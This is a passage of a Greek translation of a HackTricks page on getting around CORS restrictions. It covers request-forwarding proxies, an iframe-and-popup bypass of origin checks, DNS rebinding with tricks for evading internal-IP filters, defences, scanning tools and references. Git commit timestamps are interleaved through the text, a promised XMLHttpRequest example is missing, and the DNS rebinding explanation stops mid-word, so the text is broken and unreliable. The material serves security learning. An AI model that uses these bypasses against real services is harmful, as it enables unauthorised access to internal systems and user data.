Ένας τρόπος να παρακάμψετε τον περιορισμό `Access-Control-Allow-Origin` είναι να ζητήσετε από μια εφαρμογή ιστού να κάνει ένα αίτημα εκ μέρους σας και να στείλει πίσω την απόκριση. Ωστόσο, σε αυτό το σενάριο, τα διαπιστευτήρια του τελικού θύματος δεν θα αποσταλούν καθώς το αίτημα γίνεται σε διαφορετικό τομέα.
2024-02-10 22:40:18 +00:00
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Αυτό το εργαλείο παρέχει έναν διακομιστή πρόσκλησης που προωθεί το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα παραπλανά την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με το XMLHttpRequest:
2024-02-10 22:40:18 +00:00
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για την προώθηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.
2022-04-29 14:06:04 +00:00
2024-02-10 22:40:18 +00:00
### Παράκαμψη με Iframe + Popup
Μπορείτε να **παρακάμψετε τους έλεγχους CORS** όπως `e.origin === window.origin` δημιουργώντας ένα iframe και από αυτό να ανοίγετε ένα νέο παράθυρο. Περισσότερες πληροφορίες στην ακόλουθη σελίδα:
2022-04-29 14:06:04 +00:00
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
2024-02-10 22:40:18 +00:00
### DNS Rebinding μέσω TTL
2022-04-30 00:02:29 +00:00
2024-02-10 22:40:18 +00:00
Το DNS rebinding μέσω TTL είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει ορισμένα μέτρα ασφαλείας με την παραπλάνηση των εγγραφών DNS. Ακολούθως περιγράφεται πώς λειτου
### Άλλες Συνηθισμένες Παρακάμψεις
2022-05-02 00:28:26 +00:00
2024-02-10 22:40:18 +00:00
* Εάν **δεν επιτρέπονται εσωτερικές διευθύνσεις IP**, μπορεί να **ξεχάσουν να απαγορεύσουν το 0.0.0.0** (λειτουργεί σε Linux και Mac)
* Εάν **δεν επιτρέπονται εσωτερικές διευθύνσεις IP**, απαντήστε με ένα **CNAME** στο **localhost** (λειτουργεί σε Linux και Mac)
* Εάν **δεν επιτρέπονται εσωτερικές διευθύνσεις IP** ως απαντήσεις DNS, μπορείτε να απαντήσετε με **CNAMEs σε εσωτερικές υπηρεσίες** όπως το www.corporate.internal.
2022-05-02 00:28:26 +00:00
2024-02-10 22:40:18 +00:00
### Όπλο DNS Rebidding
2022-05-02 00:28:26 +00:00
2024-02-10 22:40:18 +00:00
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το εργαλείο που ακολουθεί στην ομιλία [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
2022-05-02 00:28:26 +00:00
2024-02-10 22:40:18 +00:00
Το [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για να εκτελέσετε επιθέσεις [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδεσμεύσετε την IP διεύθυνση του ονόματος DNS του επιτιθέμενου διακομιστή στην IP διεύθυνση της στόχου μηχανής και να παρέχετε πληρωμές επίθεσης για εκμετάλλευση ευπαθούς λογισμικού στην στόχο μηχανή.
2022-05-02 00:28:26 +00:00
2024-02-10 22:40:18 +00:00
### Πραγματική Προστασία κατά του DNS Rebinding
2022-05-02 00:29:38 +00:00
2024-02-10 22:40:18 +00:00
* Χρησιμοποιήστε TLS σε εσωτερικές υπηρεσίες
* Ζητήστε πιστοποίηση για πρόσβαση στα δεδομένα
* Επαληθεύστε τον κεφαλίδα Host
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Πρόταση για πάντα να στέλνετε ένα αίτημα προεπισκόπησης όταν δημόσιοι διακομιστές θέλουν πρόσβαση σε εσωτερικούς διακομιστές
2022-05-02 00:29:38 +00:00
2024-02-10 22:40:18 +00:00
## **Εργαλεία**
2024-02-10 22:40:18 +00:00
**Εξερευνήστε πιθανές λανθασμένες ρυθμίσεις στις πολιτικές CORS**
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
2024-02-10 22:40:18 +00:00
## Αναφορές
2024-02-05 20:00:40 +00:00
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>